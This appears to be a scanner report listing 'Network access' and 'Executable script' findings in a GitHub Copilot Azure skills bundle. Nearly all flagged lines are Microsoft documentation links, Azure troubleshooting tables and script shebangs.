[RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem - Network accessline 35
[Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic - Network accessline 36
[RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors - Network accessline 37
[Internal]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal-error - Network accessline 38
[General]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-error - Network accessline 39
[Detailed]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubleshoot-rdp - Network accessline 40
[RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 41
[Event IDs]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/event-id-troubleshoot-vm-rdp-connecton - Network accessline 42
[RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled
harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/rdp-service-config.md
- Network accessline 7
| Symptom | Solution | Documentation - Network accessline 8
| -------------------------------------- | ---------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- - Network accessline 9
| TermService not running | Start the service and set to Automatic | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp) - Network accessline 10
| RDP port changed from 3389 | Reset port or update NSG to allow the custom port | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl - Network accessline 11
| RDP disabled (fDenyTSConnections = 1) | Reset RDP config via CLI or Portal | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp) - Network accessline 12
| TLS/SSL certificate expired or corrupt | Delete cert and restart TermService to regenerate | [RDP internal error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal - Network accessline 13
| NLA/Security Layer mismatch | Temporarily disable NLA for recovery | [RDP general error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-e - Network accessline 14
| GPO overriding local RDP settings | Check `HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services` | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl - Network accessline 15
| RDS licensing expired | Remove RDSH role or configure license server | [Specific RDP errors](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rd
harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/ssh-connectivity.md
- Network accessline 34
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 35
[SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection - Network accessline 36
[Debian]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/cannot-connect-debian-linux - Network accessline 37
[SELinux]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/linux-selinux-troubleshooting - Network accessline 38
[UEFI]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/azure-linux-vm-uefi-boot-failures
harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/vm-agent-not-responding.md
- Network accessline 9
| Symptom | OS | Solution | Documentation - Network accessline 10
| ---------------------------------------------------------------- | ------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ - Network accessline 11
| Run Command times out | Windows | VM agent may be down — use Serial Console instead | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo - Network accessline 12
| Run Command times out | Linux | VM agent may be down — use Serial Console instead | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/s - Network accessline 13
| Password reset fails via Portal/CLI | Windows | VMAccess extension can't communicate — use offline reset | [Reset password without agent](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/w - Network accessline 14
| Password/key reset fails via Portal/CLI | Linux | VMAccess extension can't communicate — use Serial Console | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/ - Network accessline 15
| VM not booting (Boot Diagnostics shows BSOD/stuck) | Windows | OS-level issue — use repair VM for offline fix | [Repair Windows VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/repa - Network accessline 16
| VM not booting (Boot Diagnostics shows kernel panic/stuck) | Linux | Use repair VM for offline Linux disk fix | [Repair Linux VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-l - Network accessline 17
| VMAccess extension error on domain controller | Windows | VMAccess doesn't support DCs — use Serial Console | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo
harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-dotnet.md
- Network accessline 3
Package: `Azure.Messaging.EventHubs` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/A - Network accessline 27
Configure via `EventHubsRetryOptions` when creating the client. See [Configuring retry thresholds sample](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/samples). - Network accessline 31
- **Socket exhaustion**: Treat clients as singletons. Share `EventHubConnection` across clients if needed. Always call `CloseAsync` or `DisposeAsync`. - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error - Network accessline 32
- **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error. - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://gith - Network accessline 33
- **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/TROUBLESHOO
harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-java.md
- Network accessline 3
Package: `azure-messaging-eventhubs` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhu - Network accessline 5
> ⚠<U+FE0F> **Note:** The detailed Java troubleshooting guide has moved to [Microsoft Learn](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview). - Network accessline 29
See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview) for details.
harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-js.md
- Network accessline 3
Package: `@azure/event-hubs` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/TROUBLESHOOTING
harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-py.md
- Network accessline 3
Package: `azure-eventhub` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub/TRO
harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-dotnet.md
- Network accessline 3
Package: `Azure.Messaging.ServiceBus` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servic - Network accessline 12
| `ServiceBusException` (QuotaExceeded) | Too many concurrent receives | Reduce receivers or use batch receives | | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual - Network accessline 13
| `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual messages up to 100MB. Batch limit is artificially computed on the client from the max message size sent by the ser - Network accessline 14
| `ServiceBusException` (ServiceBusy) | Request throttled | Auto-retried with 10s backoff. See [throttling docs](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-throttling) |
harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-java.md
- Network accessline 3
Package: `azure-messaging-servicebus` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/servicebus/azure-messaging-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/serv - Network accessline 30
Even with prefetch disabled in the builder, `receiveMessages` API can re-enable prefetch implicitly. See [SyncReceiveAndPrefetch](https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/servicebus/azure-messaging-servicebus/docs/SyncRecei - Network accessline 45
See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-service-bus-overview) for details.
harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-js.md
- Network accessline 3
Package: `@azure/service-bus` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/TROUBLES
harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-py.md
- Network accessline 3
Package: `azure-servicebus` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-ser
harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/service-troubleshooting.md
- Network accessline 9
1. **Verify connection string** — Get from Azure portal. For **Event Hubs (Kafka endpoint)** clients, also check `producer.config` / `consumer.config`. 2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status) - Network accessline 10
2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status) - Network accessline 80
- [Event Hubs troubleshooting guide](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide) - Network accessline 81
- [Service Bus troubleshooting guide](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-troubleshooting-guide) - Network accessline 82
- [Event Hubs quotas and limits](https://learn.microsoft.com/azure/event-hubs/event-hubs-quotas) - Network accessline 83
- [Service Bus quotas and limits](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-quotas) - Network accessline 84
- [Event Hubs AMQP troubleshooting](https://learn.microsoft.com/azure/event-hubs/event-hubs-amqp-troubleshoot) - Network accessline 85
- [Service Bus AMQP troubleshooting](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-amqp-troubleshoot) - Network accessline 86
- [Event Hubs IP addresses and service tags](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide#what-ip-addresses-do-i-need-to-allow) - Network accessline 87
- [Service Bus IP addresses](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-faq#what-ip-addresses-do-i-need-to-add-to-allowlist-)
harness/github-copilot/skills/azure-draw-io-diagram-generator/references/diagram-quality-standard.md
- Network accessline 5
Verification date: 2026-08-25. Primary source: [Create architecture design diagrams](https://learn.microsoft.com/en-us/azure/well-architected/architect-role/design-diagrams).
harness/github-copilot/skills/azure-draw-io-diagram-generator/references/drawio-xml-schema.md
- Network accessline 133
iconProvider="azure" iconProduct="Azure Key Vault" iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 134
iconProduct="Azure Key Vault" iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 135
iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 136
iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"
harness/github-copilot/skills/azure-draw-io-diagram-generator/references/official-icon-policy.md
- Network accessline 20
| Family | Official source | Permitted diagram use and constraints | | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distribu - Network accessline 21
| --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, tra - Network accessline 22
| Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, training materials, or - Network accessline 23
| Microsoft Entra | [Microsoft Entra architecture icons](https://learn.microsoft.com/en-us/entra/architecture/architecture-icons) | Same architecture, training, and documentation permission. Do not use the architecture icons in marketing co - Network accessline 24
| Microsoft Fabric | [Microsoft Fabric icons](https://learn.microsoft.com/en-us/fabric/fundamentals/icons) | Use product, experience, and item icons in diagrams, slide decks, training, or documentation without altering them. Label the exact - Network accessline 25
| Power Platform | [Microsoft Power Platform icons](https://learn.microsoft.com/en-us/power-platform/guidance/icons) | Use in architecture diagrams, training materials, or documentation. Preserve the icons and use them only for the represen - Network accessline 26
| Dynamics 365 | [Microsoft Dynamics 365 icons](https://learn.microsoft.com/en-us/dynamics365/get-started/icons) | Use in architecture diagrams, training materials, or documentation. Do not use removed or deprecated app icons from older pac - Network accessline 27
| Microsoft 365 | [Microsoft 365 architecture icons and templates](https://learn.microsoft.com/en-us/previous-versions/microsoft-365/solutions/architecture-icons-templates) | The first-party page is archived and retired. Treat it as a fallb - Network accessline 28
| General Microsoft brand assets | [Microsoft Trademark and Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks) | Many logos, app icons, and product icons require a license. Product-family architecture t - Network accessline 29
| GitHub interface concepts | [GitHub Primer Octicons](https://github.com/primer/octicons) | Octicons are GitHub-built SVG interface icons and the repository code license is MIT. Use them for covered interface or workflow concepts, not as s - Network accessline 30
| GitHub logos and product lockups | [GitHub brand logo guidance](https://brand.github.com/foundations/logo) | Use only in permitted contexts, with high contrast and secondary placement. Do not imply affiliation, use a GitHub mark as the us - Network accessline 31
| GitHub Copilot | [GitHub Copilot brand guidance](https://brand.github.com/brand-identity/copilot) | Use current product lockups only when the use is permitted. The former standalone GitHub Copilot logo has been deprecated since 2025; do n
harness/github-copilot/skills/azure-draw-io-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-draw-io-diagram-generator/scripts/README.md
- Network accessline 61
python scripts/add-icon.py docs/architecture.drawio ./icons/key-vault.svg "Azure Key Vault" 320 180 --provider azure --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ - Network accessline 62
"Azure Key Vault" 320 180 \ --provider azure \ --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 63
--provider azure \ --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 64
--source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 65
--terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
harness/github-copilot/skills/azure-draw-io-diagram-generator/scripts/add-icon.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/azure-draw-io-diagram-generator/scripts/add-shape.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/azure-draw-io-diagram-generator/scripts/validate-drawio.py
harness/github-copilot/skills/azure-enterprise-infra-planner/references/constraints/networking-connectivity.md
- Network accessline 8
| **Developer SKU** | Does NOT require `AzureBastionSubnet` or public IP. Deploys as shared infrastructure. Only connects to VMs in the same VNet. | | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG - Network accessline 9
| **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https:// - Network accessline 10
| **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |
harness/github-copilot/skills/azure-enterprise-infra-planner/references/constraints/networking-core.md
- Network accessline 32
|-------------|------------| | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specif - Network accessline 33
| **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (se - Network accessline 34
| **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (see [Azure Bastion NSG](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |
harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/ai-ml.md
- Network accessline 11
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/micro - Network accessline 12
|----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom su - Network accessline 13
| Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom subdomain names](https://learn.microsoft.com/azure/ai-services/cognitive-servic - Network accessline 14
| ML Workspace | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.machinelearningservices/workspaces?pivots=deployment-language-bicep) | [ML Services](https://learn.microsoft.com/azure/templates/microsoft.machinelearningse - Network accessline 15
| AI Search | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.search/searchservices?pivots=deployment-language-bicep) | [Service limits](https://learn.microsoft.com/azure/search/search-limits-quotas-capacity) | [Naming ru
harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/compute-apps.md
- Network accessline 15
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.we - Network accessline 16
|----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://lea - Network accessline 17
| App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://learn.microsoft.com/azure/app-service/overview) | [Naming rules](https://learn.m - Network accessline 18
| App Service Plan | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/serverfarms?pivots=deployment-language-bicep) | [Plan overview](https://learn.microsoft.com/azure/app-service/overview-hosting-plans) | [Naming rule - Network accessline 19
| Container App | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/containerapps?pivots=deployment-language-bicep) | [Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) | [Naming rules] - Network accessline 20
| Container Apps Environment | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/managedenvironments?pivots=deployment-language-bicep) | [Environments overview](https://learn.microsoft.com/azure/container-apps/environme - Network accessline 21
| Container Registry | [2025-04-01](https://learn.microsoft.com/azure/templates/microsoft.containerregistry/registries?pivots=deployment-language-bicep) | [ACR overview](https://learn.microsoft.com/azure/container-registry/container-registr - Network accessline 22
| Function App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [Functions overview](https://learn.microsoft.com/azure/azure-functions/functions-overview) | [Naming rules](ht - Network accessline 23
| Static Web App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/staticsites?pivots=deployment-language-bicep) | [Static Web Apps overview](https://learn.microsoft.com/azure/static-web-apps/overview) | [Naming rules
harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/compute-infra.md
- Network accessline 13
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.co - Network accessline 14
|----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overvi - Network accessline 15
| AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overview](https://learn.microsoft.com/azure/aks/intro-kubernetes) | [Naming rules]( - Network accessline 16
| Availability Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/availabilitysets?pivots=deployment-language-bicep) | [Overview](https://learn.microsoft.com/azure/virtual-machines/availability-set-overview) | - Network accessline 17
| Managed Disk | [2025-01-02](https://learn.microsoft.com/azure/templates/microsoft.compute/disks?pivots=deployment-language-bicep) | [Managed disks overview](https://learn.microsoft.com/azure/virtual-machines/managed-disks-overview) | [Nam - Network accessline 18
| Virtual Machine | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachines?pivots=deployment-language-bicep) | [VMs overview](https://learn.microsoft.com/azure/virtual-machines/overview) | [Naming rules]( - Network accessline 19
| VM Scale Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachinescalesets?pivots=deployment-language-bicep) | [VMSS overview](https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview) |
harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/data-analytics.md
- Network accessline 13
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.docu - Network accessline 14
|----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overvie - Network accessline 15
| Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overview](https://learn.microsoft.com/azure/cosmos-db/introduction) | [Naming rules] - Network accessline 16
| Data Factory | [2018-06-01](https://learn.microsoft.com/azure/templates/microsoft.datafactory/factories?pivots=deployment-language-bicep) | [ADF overview](https://learn.microsoft.com/azure/data-factory/introduction) | [Naming rules](https - Network accessline 17
| Redis Cache | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.cache/redis?pivots=deployment-language-bicep) | [Redis overview](https://learn.microsoft.com/azure/azure-cache-for-redis/cache-overview) | [Naming rules](htt - Network accessline 18
| Storage Account | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.storage/storageaccounts?pivots=deployment-language-bicep) | [Storage overview](https://learn.microsoft.com/azure/storage/common/storage-account-overview) - Network accessline 19
| Synapse Workspace | [2021-06-01](https://learn.microsoft.com/azure/templates/microsoft.synapse/workspaces?pivots=deployment-language-bicep) | [Synapse overview](https://learn.microsoft.com/azure/synapse-analytics/overview-what-is) | [Nami
harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/data-relational.md
- Network accessline 12
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql - Network accessline 13
|----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://lea - Network accessline 14
| SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-overview) | [Nami - Network accessline 15
| SQL Database | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers/databases?pivots=deployment-language-bicep) | [SQL Database overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-ove - Network accessline 16
| MySQL Flexible Server | [2023-12-30](https://learn.microsoft.com/azure/templates/microsoft.dbformysql/flexibleservers?pivots=deployment-language-bicep) | [MySQL overview](https://learn.microsoft.com/azure/mysql/flexible-server/overview) | - Network accessline 17
| PostgreSQL Flexible Server | [2024-08-01](https://learn.microsoft.com/azure/templates/microsoft.dbforpostgresql/flexibleservers?pivots=deployment-language-bicep) | [PostgreSQL overview](https://learn.microsoft.com/azure/postgresql/flexibl
harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/messaging.md
- Network accessline 11
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microso - Network accessline 12
|----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview]( - Network accessline 13
| Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](https://learn.microsoft.com/azure/event-grid/overview) | [Naming rules](https - Network accessline 14
| Event Hub | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.eventhub/namespaces?pivots=deployment-language-bicep) | [Event Hubs overview](https://learn.microsoft.com/azure/event-hubs/event-hubs-about) | [Naming rules](h - Network accessline 15
| Service Bus | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.servicebus/namespaces?pivots=deployment-language-bicep) | [Service Bus overview](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-messagin
harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/monitoring.md
- Network accessline 10
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/mic - Network accessline 11
|----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights o - Network accessline 12
| Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights overview](https://learn.microsoft.com/azure/azure-monitor/app/app-insights-ove - Network accessline 13
| Log Analytics | [2025-02-01](https://learn.microsoft.com/azure/templates/microsoft.operationalinsights/workspaces?pivots=deployment-language-bicep) | [Log Analytics overview](https://learn.microsoft.com/azure/azure-monitor/logs/log-analyt
harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/networking-connectivity.md
- Network accessline 14
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft. - Network accessline 15
|----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](ht - Network accessline 16
| Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](https://learn.microsoft.com/azure/bastion/bastion-overview) | [Naming rules](ht - Network accessline 17
| Azure Firewall | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/azurefirewalls?pivots=deployment-language-bicep) | [Firewall overview](https://learn.microsoft.com/azure/firewall/overview) | [Naming rules](https - Network accessline 18
| DNS Zone | [2018-05-01](https://learn.microsoft.com/azure/templates/microsoft.network/dnszones?pivots=deployment-language-bicep) | [Azure DNS overview](https://learn.microsoft.com/azure/dns/dns-overview) | [Naming rules](https://learn.mic - Network accessline 19
| VPN Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworkgateways?pivots=deployment-language-bicep) | [VPN Gateway overview](https://learn.microsoft.com/azure/vpn-gateway/vpn-gateway-about-vpn - Network accessline 20
| Private DNS Zone | [2024-06-01](https://learn.microsoft.com/azure/templates/microsoft.network/privatednszones?pivots=deployment-language-bicep) | [Private DNS overview](https://learn.microsoft.com/azure/dns/private-dns-overview) | [Naming - Network accessline 21
